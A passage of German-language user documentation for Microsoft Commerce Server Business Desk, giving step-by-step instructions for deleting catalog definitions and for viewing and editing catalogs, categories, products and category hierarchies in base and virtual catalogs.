  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Produktdefinitionen aus.
  3. Wählen Sie im Bildschirm Katalogdefinitions-Designer: Produktdefinitionen die Produktdefinition aus, die Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Löschen.
  4. Klicken Sie im Dialogfeld Löschen der Produktdefinitionen bestätigen auf OK, um die Definition zu löschen.

So löschen Sie eine Eigenschaftsdefinition

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht. Wählen Sie dann aus der Dropdownliste die Option Eigenschaftsdefinitionen.
  3. Wählen Sie im Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen die Eigenschaftsdefinition aus, die Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Löschen.
  4. Klicken Sie im Dialogfeld Löschen der Eigenschaftsdefinitionen bestätigen auf OK, um die Definition zu löschen.


Verwalten von Produkten, Kategorien, Katalogen und Katalogsätzen

Mithilfe des Katalog-Editor-Moduls können Sie vorhandene Produkte, Kategorien, Kataloge und Katalogsätze anzeigen, suchen, bearbeiten und löschen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Anzeigen einer Liste von Katalogen
  • Anzeigen einer Liste von Kategorien in einem Katalog
  • Bearbeiten von Katalogeigenschaften
  • Bearbeiten einer Kategorie in einem Basiskatalog
  • Bearbeiten einer Kategorie in einem virtuellen Katalog
  • Bearbeiten eines Produkts in einem Basiskatalog
  • Bearbeiten eines Produkts in einem virtuellen Katalog
  • Bearbeiten von Kategoriehierarchien
  • Bearbeiten von Produktvarianten
  • Ändern eines Katalogsatzes
  • Löschen einer Kategorie aus einem Katalog
  • Löschen eines Produkts aus einem Katalog
  • Löschen eines Basiskatalogs
  • Löschen eines Katalogsatzes
  • Löschen von Produktvarianten


Anzeigen einer Liste von Katalogen

Verwenden Sie das Katalog-Editor-Modul, um eine Liste aller vorhandener Kataloge anzuzeigen. Wenn Sie einen Katalog auswählen und auf den Pfeil links vom Katalognamen klicken, können Sie alle benutzerdefinierten Kataloge anzeigen, die unter Verwendung des gewählten Katalogs als Basiskatalog erstellt wurden.

So zeigen Sie eine Liste der vorhandenen Kataloge an

  • Klicken Sie im Menü Kataloge auf Katalog-Editor.

Im Bildschirm Kataloge wird eine Liste mit allen vorhandenen Katalogen angezeigt.


Anzeigen einer Liste von Kategorien in einem Katalog

Sie können die Kategorien und die Kategoriehierarchie für einen ausgewählten Katalog anzeigen. Indem Sie die über- und untergeordneten Zuordnungen zwischen den Kategorien anzeigen, können Sie entscheiden, an welcher Stelle zusätzliche Kategorien erforderlich sind und wo vorhandene Kategorien geändert oder gelöscht werden müssen. Beispiel: Wenn Sie eine Kategorie für Musikvideos hinzufügen möchten, können Sie anhand der Liste der Kategorien überprüfen, ob die neue Kategorie eine übergeordnete Kategorie sein oder einer vorhandenen Kategorie zugeordnet werden soll.

So zeigen Sie eine Liste von Kategorien an, die einem Katalog zugewiesen sind

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog mit den Kategorien aus, die Sie anzeigen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.

    Der Bildschirm Kataloginhalt – Katalogname wird angezeigt.

Im Bereich Kategorien werden alle Kategorien, die dem Katalog zugewiesen sind, angezeigt.


Bearbeiten von Katalogeigenschaften

Die Eigenschaften eines Basiskatalogs bzw. virtuellen Katalogs bearbeiten Sie mit dem Katalog-Editor-Modul. Sie können beispielsweise die Kategorie- und die Eigenschaftsinformationen oder die Anfangs- und Beendigungsdaten eines Katalogs bearbeiten.

Hinweise

  • Der interne Name eines Katalogs kann nicht bearbeitet werden. Der Name des Katalogs, der in Ihrer Website angezeigt wird, lässt sich bearbeiten.
  • Informationen zum Aufnehmen von Produkten und Kategorien aus einem Basiskatalog in einen virtuellen Katalog finden Sie unter Aufnehmen von Basiskatalogen in einen virtuellen Katalog.
  • Wenn Sie die Berichtssprache ändern, wird sie verwendet, sobald Ihr Systemadministrator den nächsten Import von Katalogdaten in das Data Warehouse vornimmt. Das kann zur Folge haben, dass einige Daten im Data Warehouse in einer Sprache und andere in einer anderen Sprache vorliegen.

    Ihr Systemadministrator muss mit dem Data Transformation Services (DTS)-Task für den Import von Produktkatalogdaten einen vollständigen Import durchführen, damit alle Daten in derselben Sprache vorliegen. (Bei einem vollständigen Import werden die Eigenschaften des Produkts aktualisiert, da die Produktschlüssel in allen Sprachen identisch sind.)

So bearbeiten Sie Katalogeigenschaften

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, den Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Eigenschaften bearbeiten.
  3. Der Bildschirm Katalogeigenschaften – Katalogname wird angezeigt. Sie können jede beliebige Eigenschaft in diesem Bildschirm ändern, die nicht durch Commerce Server zugewiesen ist.
    Funktion | Aktion
    Name Zeigt den internen Namen des Katalogs an. Diesen Namen können Sie nicht ändern; Sie können jedoch den Katalognamen bearbeiten, der in Ihrer Site angezeigt wird (siehe Schritt 4).

    Dieser Name darf nicht mit dem Namen eines bestehenden Katalogs in der Commerce Server-Datenbank identisch sein.

    Dieser Name wird in Katalogberichten verwendet.

    Katalognamen können bis zu 85 Zeichen lang sein.
    Anfangsdatum | Geben Sie das Anfangsdatum für den Katalog ein. Dieses Datum hat keine Auswirkung auf Ihre Website. Wenn Sie jedoch mit einem Handelspartner Kataloge austauschen, zeigt dieses Datum dem Handelspartner an, ab wann der Katalog gültig ist.
    Beendigungsdatum | Geben Sie das Beendigungsdatum für den Katalog ein. Ihre Handelspartner erkennen daran, wie lange der Katalog gültig ist. Standardmäßig ist dies das aktuelle Tagesdatum plus drei Monate. Wenn Sie z. B. im Dezember einen Katalog erstellen, dann liegt das Beendigungsdatum im März.
    Währung | Wählen Sie in der Dropdownliste eine Währung für den Katalog. Der Standardwert ist USD.
    Gewichtseinheit | Zeigt die Gewichtseinheit für die Produkte in diesem Katalog an. Dieser Wert wird bei der Commerce Server-Konfiguration vom Systemadministrator festgelegt. Wenden Sie sich an Ihren Systemadministrator, wenn dieser Wert geändert werden muss.
    Eindeutige Produkt-ID Zeigt die eindeutige ID für die Produkte in diesem Katalog an. Wenn Ihre Produkte keine Varianten haben, kann SKU die eindeutige Produkt-ID sein. Wenn es Produktvarianten gibt, kann dies Name oder Titel sein. Die eindeutige Produkt-ID für die Variante wäre dann SKU.

    Informationen zum Zuweisen eindeutiger IDs finden Sie unter Empfohlene Vorgehensweisen für Kataloge.
    Eindeutige Produktvarianten-ID Zeigt die eindeutige ID für Produktvarianten an. Das könnte beispielsweise die SKU oder ein anderer, eindeutiger Bezeichner sein. Wenn die Produkte keine Varianten haben, muss dieser Wert derselbe wie im Feld Eindeutige Produkt-ID sein.

    Informationen zum Zuweisen eindeutiger IDs finden Sie unter Empfohlene Vorgehensweisen für Kataloge.
  4. Führen Sie im Bereich Katalogsprachen folgende Schritte aus:
    Funktion | Aktion
    Hinzufügen | Wählen Sie die Sprachen, die der Katalog unterstützen soll.
    Entfernen | Entfernen Sie die Sprachen, die der Katalog nicht unterstützt. Wenn Sie alle Sprachen entfernen, unterstützt der Katalog die Standardsprache, d. h. die Sprache des Microsoft Windows-Betriebssystems auf Ihrem Business Desk-Webserver.
    Standardsprache Wählen Sie in der Dropdownliste die Standardsprache für Ihren Katalog.

    Wenn Sie keine Standardsprache angeben, verwendet Commerce Server dieselbe Sprache wie das Microsoft Windows-Betriebssystem auf dem Business Desk-Webserver.
    Berichtssprache Wählen Sie in der Dropdownliste die Sprache, die für die im Data Warehouse zu speichernden Eigenschaften verwendet werden soll.

    Diese Sprache wird dann für Berichte und Analysen verwendet.

    Wenn Sie die Berichtssprache ändern, nachdem Ihre Site freigeschaltet wurde, können Berichtsdaten in zwei Sprachen angezeigt werden (je nach der Zeitdauer, die von diesem Bericht abgedeckt wird).

    Ihr Systemadministrator muss mit dem DTS-Task für den Import von Produktkatalogdaten einen vollständigen Import durchführen, damit alle Daten in derselben Sprache vorliegen. (Bei einem vollständigen Import werden die Eigenschaften des Produkts aktualisiert, da die Produktschlüssel in allen Sprachen identisch sind.)
  5. Legen Sie den angezeigten Namen für den Katalog fest, indem Sie im Feld Sprache eine Sprache wählen und dann auf Bearbeiten klicken.
  6. Geben Sie im Feld Angezeigter Name den Namen für den Katalog in der gewählten Sprache ein. Dieser Katalogname wird dann in Ihrer Website angezeigt.
  7. Im Bereich Abhängige Kataloge listet Business Desk die virtuellen Kataloge auf, die mit diesem Basiskatalog verknüpft sind. Informationen zum Aufnehmen eines Basiskatalogs in einen virtuellen Katalog finden Sie unter Aufnehmen von Basiskatalogen in einen virtuellen Katalog.
  8. Klicken Sie im Bereich Sicherheit auf Berechtigungen, und geben Sie die Windows-Konten der Benutzer an, die die Berechtigung zum Aktualisieren dieses Katalogs haben. Weitere Informationen zum Gewähren von Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.
  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Kataloge zurückzukehren.
  10. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um das neue Produkt in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.

Siehe auch

Empfohlene Vorgehensweisen für Kataloge

Aufnehmen von Basiskatalogen in einen virtuellen Katalog


Bearbeiten einer Kategorie in einem Basiskatalog

Mit dem Katalog-Editor-Modul können Sie die Eigenschaften einer vorhandenen Kategorie in einem Basiskatalog bearbeiten. Beispielsweise können Sie den Preis der Kategorie ändern, übergeordnete Kategorien anlegen oder löschen und die primäre übergeordnete Kategorie wechseln.

Hinweise

  • Interne Kategorienamen lassen sich nicht bearbeiten. Sie können jedoch den Namen der Kategorie, der in Ihrer Website angezeigt wird, bearbeiten.
  • Wenn Sie einem Basiskatalog eine neue Kategorie hinzufügen, wird die Kategorie in Abhängigkeit von den festgelegten Einschlussregeln automatisch auch in die dazugehörigen virtuellen Kataloge aufgenommen.
  • Mit dem Katalog-Editor-Modul gewähren Sie Benutzern von Commerce Server Business Desk Berechtigungen für das Bearbeiten dieser Kategorie. Verwenden Sie dazu nicht das Modul "Business Desk-Berechtigungen".

So bearbeiten Sie eine Kategorie in einem Basiskatalog

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, in dem Sie eine Kategorie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Kataloginhalt – Katalogname im Bereich Kategorien die Kategorie aus der Liste Kategorien aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf Bearbeiten.
  4. Welche Felder im Bildschirm Katalog-Editor – Katalogname – (Kategorie) angezeigt werden, hängt von der Kategoriedefinition der Kategorie ab. Zusätzlich zu den hier aufgeführten Feldern können weitere Felder angezeigt werden. Führen Sie folgende Schritte aus:
    Funktion | Aktion
    Name Zeigt den internen Namen der neuen Kategorie an. Diesen Namen können Sie nicht bearbeiten. Die maximale Länge beträgt 100 Zeichen. Kategorienamen müssen in den einzelnen Katalogen eindeutig sein.

    Dieser Name wird in Katalogberichten verwendet.
    Angezeigter Name | Geben Sie den Kategorienamen ein, der in Ihrer Website angezeigt werden soll.
    Beschreibung | Geben Sie eine Beschreibung für die Kategorie ein, die in Ihrer Website angezeigt werden soll.
    Preis Geben Sie einen Preis für die Kategorie ein. Der Preis wird allen Produkten in dieser Kategorie zugewiesen.

    Informationen über das direkte Zuweisen von Preisen zu einem Produkt oder einer Produktvariante finden Sie unter Preisberechnung für ein Produkt in einem Basiskatalog und Preisberechnung auf Produktvariantenebene.
    Suche aktivieren Aktivieren Sie dieses Kontrollkästchen, um die jeweilige Kategorie zum Ausgangspunkt für eine Drilldownsuche zu machen.

    Wenn dieses Kontrollkästchen aktiviert ist, wird die Kategorie auf der Seite Erweiterte Suche der Website aufgeführt.
  5. Führen Sie im Bereich Zugewiesene Kategorien folgende Schritte aus:
    Funktion | Aktion
    Verfügbare übergeordnete Kategorien | Wählen Sie die übergeordneten Kategorien, denen Sie die aktuelle Kategorie hinzufügen möchten, und klicken Sie dann auf Hinzufügen.
    Zugewiesene übergeordnete Kategorien Wählen Sie die primäre übergeordnete Kategorie aus, und klicken Sie dann auf Festlegen.

    Mit der primären übergeordneten Kategorie wird der kanonische Pfad zu dieser Kategorie ermittelt.
    Verfügbare untergeordnete Kategorien | Wählen Sie die untergeordneten Kategorien, zu denen Sie die aktuelle Kategorie hinzufügen möchten, und klicken Sie dann auf Hinzufügen.
  6. Klicken Sie im Bereich Kategoriebeziehungen zum Hinzufügen einer neuen Kategorie auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Beziehung | Geben Sie einen Namen für die neue Beziehung ein (z. B. Zubehör).
    Artikel | Geben Sie den Namen des Produkts oder der Kategorie in der Beziehung ein, oder klicken Sie auf die Auslassungsschaltfläche […]. Damit öffnen Sie das Dialogfeld Produktauswahl. Dort können Sie eine Kategorie oder ein Produkt wählen.
  7. Klicken Sie auf Annehmen, damit Ihre Bearbeitungsschritte gespeichert werden.
  8. Klicken Sie im Bereich Sicherheit auf Berechtigungen.
  9. Wählen Sie im Dialogfeld Konten ein Konto, dem Sie die Bearbeitungsrechte für diese Kategorie gewähren bzw. verweigern möchten, oder klicken Sie auf Konto hinzufügen, wenn der Zugriff einem neuem Windows-Gruppenkonto gewährt werden soll.
  10. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Katalog – Katalogname zurückzukehren.
  11. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.

Siehe auch

Bearbeiten einer Kategorie in einem virtuellen Katalog


Bearbeiten einer Kategorie in einem virtuellen Katalog

Die Eigenschaften einer Kategorie, die für einen virtuellen Katalog spezifisch ist, bearbeiten Sie mit dem Katalog-Editor-Modul. Wenn die Kategorie aus einem Basiskatalog stammt, müssen Sie sie im Basiskatalog bearbeiten und anschließend den virtuellen Katalog neu erstellen.

Beispielsweise können Sie den Preis der Kategorie ändern, übergeordnete Kategorien anlegen oder löschen und die primäre übergeordnete Kategorie wechseln.

Hinweise

  • Wenn Sie einen virtuellen Katalog bearbeiten, können Sie keine Kategorie bearbeiten, die aus einem Basiskatalog stammt. Sie können nur Kategorien bearbeiten, die für den virtuellen Katalog spezifisch sind.
  • Informationen zum Einschließen/Ausschließen von Kategorien in/aus einem Basiskatalog finden Sie unter Aufnehmen von Basiskatalogen in einen virtuellen Katalog.
  • Interne Kategorienamen lassen sich nicht bearbeiten. Sie können jedoch den Namen der Kategorie, der in Ihrer Website angezeigt wird, bearbeiten.
  • Wenn Sie einem Basiskatalog eine neue Kategorie hinzufügen, wird die Kategorie in Abhängigkeit von den festgelegten Einschlussregeln automatisch auch in die dazugehörigen virtuellen Kataloge aufgenommen.
  • Mit dem Katalog-Editor-Modul gewähren Sie Benutzern von Commerce Server Business Desk Berechtigungen für das Bearbeiten dieser Kategorie. Verwenden Sie dazu nicht das Modul "Business Desk-Berechtigungen".

So bearbeiten Sie eine Kategorie in einem virtuellen Katalog

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den virtuellen Katalog aus, für den Sie die Kategorie bearbeiten möchten. Klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Kataloginhalt – Katalogname im Bereich Kategorien die Kategorie aus der Liste Kategorien aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf Bearbeiten.

    Die Kategorie muss für den virtuellen Katalog spezifisch sein. Zum Bearbeiten einer Kategorie, die aus einem Basiskatalog stammt, müssen Sie die gewünschten Änderungen im Basiskatalog vornehmen und anschließend den virtuellen Katalog neu erstellen.

  4. Welche Felder im Bildschirm Katalog-Editor – Katalogname – (Kategorie) angezeigt werden, hängt von der Kategoriedefinition der Kategorie ab. Zusätzlich zu den hier aufgeführten Feldern können weitere Felder angezeigt werden. Führen Sie folgende Schritte aus:
    Funktion | Aktion
    Name Zeigt den internen Namen der neuen Kategorie an. Diesen Namen können Sie nicht bearbeiten. Die maximale Länge beträgt 100 Zeichen. Kategorienamen müssen in den einzelnen Katalogen eindeutig sein.

    Dieser Name wird in Katalogberichten verwendet.
    Angezeigter Name | Geben Sie den Kategorienamen ein, der in Ihrer Website angezeigt werden soll.
    Beschreibung | Geben Sie eine Beschreibung für die Kategorie ein, die in Ihrer Website angezeigt werden soll.
    Preis Geben Sie einen Preis für die Kategorie ein. Der Preis wird allen Produkten in dieser Kategorie zugewiesen.

    Informationen zum Zuweisen von Preisen finden Sie unter Preisberechnung für ein Produkt in einem virtuellen Katalog und Preisberechnung von Produkten in mehreren Währungen.

    Suche aktivieren Aktivieren Sie dieses Kontrollkästchen, um die jeweilige Kategorie zum Ausgangspunkt für eine Drilldownsuche zu machen.

    Wenn dieses Kontrollkästchen aktiviert ist, wird die Kategorie auf der Seite Erweiterte Suche der Website aufgeführt.
  5. Im Bereich Zugewiesene Kategorien können Sie für Kategorien in einem Basiskatalog oder dem virtuellen Katalog festlegen, dass sie über- oder untergeordnete Kategorien der aktuellen Kategorie bilden sollen. Führen Sie folgende Schritte aus:
    Funktion | Aktion
    Verfügbare übergeordnete Kategorien | Wählen Sie die übergeordneten Kategorien, denen Sie die aktuelle Kategorie hinzufügen möchten, und klicken Sie dann auf Hinzufügen.
    Verfügbare untergeordnete Kategorien | Wählen Sie die untergeordneten Kategorien, zu denen Sie die aktuelle Kategorie hinzufügen möchten, und klicken Sie dann auf Hinzufügen.
  6. Klicken Sie im Bereich Kategoriebeziehungen zum Hinzufügen einer neuen Kategorie auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Beziehung | Geben Sie einen Namen für die neue Beziehung ein (z. B. Zubehör).
    Artikel | Geben Sie den Namen des Produkts oder der Kategorie in der Beziehung ein, oder klicken Sie auf die Auslassungsschaltfläche […]. Damit öffnen Sie das Dialogfeld Produktauswahl. Dort können Sie eine Kategorie oder ein Produkt wählen.
  7. Klicken Sie auf Annehmen, damit Ihre Bearbeitungsschritte gespeichert werden.
  8. Klicken Sie im Bereich Sicherheit auf Berechtigungen.
  9. Wählen Sie im Dialogfeld Konten ein Konto, dem Sie die Bearbeitungsrechte für diese Kategorie gewähren bzw. verweigern möchten, oder klicken Sie auf Konto hinzufügen, wenn der Zugriff einem neuem Windows-Gruppenkonto gewährt werden soll.
  10. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um Ihre Änderungen zu speichern und zum Bildschirm Katalog – Katalogname zurückzukehren.
  11. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.

Siehe auch

Bearbeiten einer Kategorie in einem Basiskatalog


Bearbeiten eines Produkts in einem Basiskatalog

Mit dem Katalog-Editor-Modul können Sie ein vorhandenes Produkt in einem Katalog bearbeiten. So können Sie beispielsweise die Bilddatei für die Anzeige eines Bildes für das Produkt in Ihrer Site ändern.

Hinweise

  • Der interne Name eines Produkts kann nicht bearbeitet werden. Sie können jedoch den Namen des Produkts, der in Ihrer Website angezeigt wird, bearbeiten.
  • Sie können den Namen einer Produktbeziehung, aber nicht die Mitglieder der Beziehung bearbeiten. Zum Bearbeiten der Mitglieder müssen Sie die Beziehung entfernen und dann eine neue anlegen.
  • Nach dem Bearbeiten eines Produkts in einem Basiskatalog (sofern es in einem virtuellen Katalog enthalten ist) müssen Sie den virtuellen Katalog neu erstellen.

So bearbeiten Sie ein Produkt in einem Basiskatalog

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, den Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Führen Sie im Bildschirm Kataloginhalt – Katalogname im Bereich Produkte eine Schlüsselwortsuche oder eine Drilldownsuche durch, oder klicken Sie auf Alle suchen, um das zu bearbeitende Produkt zu suchen.

    Anweisungen zum Suchen eines Produkts finden Sie unter Suchen nach Artikeln in einem Katalog.

  4. Wählen Sie in der Liste Produkte das Produkt aus, das Sie bearbeiten möchten, und klicken Sie dann auf Bearbeiten.
  5. Welche Felder im Bildschirm Katalog-Editor – Katalogname – (Produkt) angezeigt werden, hängt von der Produktdefinition des Produkts ab. Zusätzlich zu den hier aufgeführten Feldern können weitere Felder angezeigt werden. Führen Sie folgende Schritte aus:
    Funktion | Aktion
    Name Geben Sie den Namen des Produkts so ein, wie er in Ihrer Website angezeigt werden soll.

    Dieser Name wird in Katalogberichten verwendet.
    Beschreibung | Geben Sie die Beschreibung des Produkts so ein, wie sie in Ihrer Website angezeigt werden soll.
    Preis | Geben Sie den Preis des Produkts ein.
  6. Klicken Sie im Bereich Produktvarianten auf Bearbeiten, und geben Sie anschließend die Informationen für die verfügbaren Eigenschaften ein. Klicken Sie abschließend auf Fertig.

    Hinweis

    • Produktvarianten können Sie nur hinzufügen, wenn sie in der Produktdefinition eingerichtet wurden. Informationen zum Einrichten einer Produktdefinition mit Produktvarianten finden Sie unter Bearbeiten einer Katalogproduktdefinition.
  7. Führen Sie im Bereich Zugewiesene Kategorien folgende Schritte aus:
    Funktion | Aktion
    Verfügbare Kategorien Markieren Sie die Kategorie, der Sie das Produkt zuweisen möchten, und klicken Sie dann auf Hinzufügen.

    Möchten Sie eine bereits zugewiesene Kategorie entfernen, klicken Sie auf Entfernen.
    Zugewiesene Kategorien Markieren Sie die zugewiesene Kategorie, und klicken Sie dann auf Bearbeiten, wenn Sie die Kategorie bearbeiten möchten.

    Wenn Sie eine neue Kategorie erstellen möchten, klicken Sie auf Neu.
    Primäre übergeordnete Kategorie Wählen Sie die Kategorie aus, die als primäre übergeordnete Kategorie verwendet werden soll, und klicken Sie dann auf Festlegen.

    Anhand der primären übergeordneten Kategorie werden der kanonische Pfad zu diesem Produkt ermittelt oder Preisregeln der Kategorieebene auf das Produkt angewendet.
    Kategoriepreis verwenden | Nachdem Sie die primäre übergeordnete Kategorie festgelegt haben, wählen Sie diese Option, wenn das Produkt den Preis von der Kategorie übernehmen soll.
    Direkte Preisberechnung verwenden | Nachdem Sie die primäre übergeordnete Kategorie festgelegt haben, wählen Sie diese Option, wenn für das Produkt ein eigener Preis verwendet werden soll.
    Aktualisieren | Nachdem Sie neue Kategorien zum Katalog hinzugefügt haben, klicken Sie auf Aktualisieren, damit die neuen Kategorien im Feld Verfügbare Kategorien angezeigt werden.
  8. Wählen Sie im Bereich Produktfamilienbeziehungen die zu bearbeitende Produktbeziehung aus, und klicken Sie dann auf Bearbeiten, um den Namen der Beziehung zu ändern.

    Wenn Sie den Artikel bzw. Katalog in der Produktbeziehung ändern möchten, markieren Sie die Beziehung, klicken Sie auf Entfernen und dann auf Neu, um eine neue Beziehung zu erstellen.

  9. Wählen Sie im Dialogfeld Produktauswahl die Kategorie oder das Produkt für die Beziehung aus, und klicken Sie dann auf OK. Zum Auffinden der gewünschten Kategorien oder Produkte können Sie eine normale oder eine Schlüsselwortsuche durchführen.

    Hinweis

    • Produktnamen mit mehr als 30 Zeichen Länge werden im Dialogfeld Produktauswahl von Commerce Server gekürzt. Wenn Sie mehrere Produkte haben, bei denen die ersten 30 Zeichen identisch sind, werden diese als Duplikate angezeigt.
  10. Klicken Sie im Bereich Produktfamilienbeziehungen auf Annehmen. Klicken Sie auf Neu, wenn Sie weitere Beziehungen hinzufügen möchten.
  11. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Produkt zu speichern und zum Bildschirm Kataloge zurückzukehren.
  12. Wenn das Produkt aus einem virtuellen Katalog stammt, wählen Sie den virtuellen Katalog. Klicken Sie anschließend auf der Symbolleiste auf Neu erstellen.
  13. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um das neue Produkt in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Bearbeiten eines Produkts in einem virtuellen Katalog

Mit dem Katalog-Editor-Modul können Sie ein vorhandenes Produkt in einem Katalog bearbeiten. So können Sie beispielsweise die dem Produkt zugewiesenen Kategorien oder die Produktbeziehungen ändern.

Hinweise

  • Der interne Name eines Produkts kann nicht bearbeitet werden. Sie können jedoch den Namen des Produkts, der in Ihrer Website angezeigt wird, bearbeiten.
  • Wenn Sie ein Produkt in einem virtuellen Katalog bearbeiten, gelten die vorgenommenen Änderungen nur für den virtuellen Katalog. Auf die zugehörigen Basiskataloge werden sie nicht angewendet.

So bearbeiten Sie ein Produkt in einem Basiskatalog

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den virtuellen Katalog aus, den Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Führen Sie im Bildschirm Kataloginhalt – Katalogname im Bereich Produkte eine Schlüsselwortsuche oder eine Drilldownsuche durch, oder klicken Sie auf Alle suchen, um das zu bearbeitende Produkt zu suchen.

    Anweisungen zum Suchen eines Produkts finden Sie unter Suchen nach Artikeln in einem Katalog.

  4. Wählen Sie in der Liste Produkte das Produkt aus, das Sie bearbeiten möchten, und klicken Sie dann auf eine der folgenden Optionen:
    • In virtuellem Katalog bearbeiten: Damit weisen Sie das Produkt neuen Kategorien im virtuellen Katalog zu und zeigen an, welche Kategoriezuweisungen das Produkt vom Basiskatalog erbt. Vorgenommene Änderungen haben nur für den virtuellen Katalog Geltung.
    • Basisprodukt bearbeiten: Damit können Sie das Basisprodukt im Basiskatalog bearbeiten, sodass sowohl der Basiskatalog als auch der virtuelle Katalog die aktualisierten Daten erhalten. Anweisungen hierzu finden Sie unter Bearbeiten eines Produkts in einem Basiskatalog.
  5. Wenn Sie die Option In virtuellem Katalog bearbeiten gewählt haben, wird der Bildschirm Katalog-Editor – Katalogname (Produkt) angezeigt. Führen Sie im Bereich Zugewiesene Kategorien folgende Schritte aus:
    Funktion | Aktion
    Verfügbare Kategorien Markieren Sie die Kategorie, der Sie das Produkt zuweisen möchten, und klicken Sie dann auf Hinzufügen.

    Möchten Sie eine bereits zugewiesene Kategorie entfernen, klicken Sie auf Entfernen.
    Zugewiesene Kategorien Markieren Sie die zugewiesene Kategorie, und klicken Sie dann auf Bearbeiten, wenn Sie die Kategorie bearbeiten möchten.

    Wenn Sie eine neue Kategorie erstellen möchten, klicken Sie auf Neu.
    Primäre übergeordnete Kategorie Wählen Sie die Kategorie aus, die als primäre übergeordnete Kategorie verwendet werden soll, und klicken Sie dann auf Festlegen.

    Anhand der primären übergeordneten Kategorie werden der kanonische Pfad zu diesem Produkt ermittelt oder Preisregeln der Kategorieebene auf das Produkt angewendet.
    Kategoriepreis verwenden | Nachdem Sie die primäre übergeordnete Kategorie festgelegt haben, wählen Sie diese Option, wenn das Produkt den Preis von der Kategorie übernehmen soll.
    Direkte Preisberechnung verwenden | Nachdem Sie die primäre übergeordnete Kategorie festgelegt haben, wählen Sie diese Option, wenn für das Produkt ein eigener Preis verwendet werden soll.
    Aktualisieren | Nachdem Sie neue Kategorien zum Katalog hinzugefügt haben, klicken Sie auf Aktualisieren, damit die neuen Kategorien im Feld Verfügbare Kategorien angezeigt werden.
  6. Wählen Sie im Bereich Produktfamilienbeziehungen die zu bearbeitende Produktbeziehung aus, und klicken Sie dann auf Bearbeiten, um den Namen der Beziehung zu ändern.

    Wenn Sie den Artikel bzw. Katalog in der Produktbeziehung ändern möchten, markieren Sie die Beziehung, klicken Sie auf Entfernen und dann auf Neu, um eine neue Beziehung zu erstellen.

  7. Wählen Sie im Dialogfeld Produktauswahl die Kategorie oder das Produkt für die Beziehung aus, und klicken Sie dann auf OK. Zum Auffinden der gewünschten Kategorien oder Produkte können Sie eine normale oder eine Schlüsselwortsuche durchführen.

    Hinweis

    • Produktnamen mit mehr als 30 Zeichen Länge werden im Dialogfeld Produktauswahl von Commerce Server gekürzt. Wenn Sie mehrere Produkte haben, bei denen die ersten 30 Zeichen identisch sind, werden diese als Duplikate angezeigt.
  8. Klicken Sie im Bereich Produktfamilienbeziehungen auf Annehmen. Klicken Sie auf Neu, wenn Sie weitere Beziehungen hinzufügen möchten.
  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Produkt zu speichern und zum Bildschirm Kataloge zurückzukehren.
  10. Klicken Sie auf der Symbolleiste auf Katalog veröffentlichen, um den aktualisierten virtuellen Katalog in Ihrer Website zu veröffentlichen.

Der aktualisierte Katalog wird in der Website veröffentlicht.


Bearbeiten von Kategoriehierarchien

Sie können eine vorhandene Kategoriehierarchie für einen ausgewählten Katalog bearbeiten. Wenn Sie über zwei übergeordnete Kategorien verfügen, die eng verwandt sind, und eine Kategorie der anderen logisch untergeordnet werden kann, können Sie die Kategoriezuweisung bearbeiten. Beispiel: Sie verfügen über die übergeordnete Kategorien "Klassik" und "Komponisten". Sie können nun "Komponisten" zu einer untergeordneten Kategorie von "Klassik" ändern.

So bearbeiten Sie eine Kategoriehierarchie

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog mit der Kategoriehierarchie aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
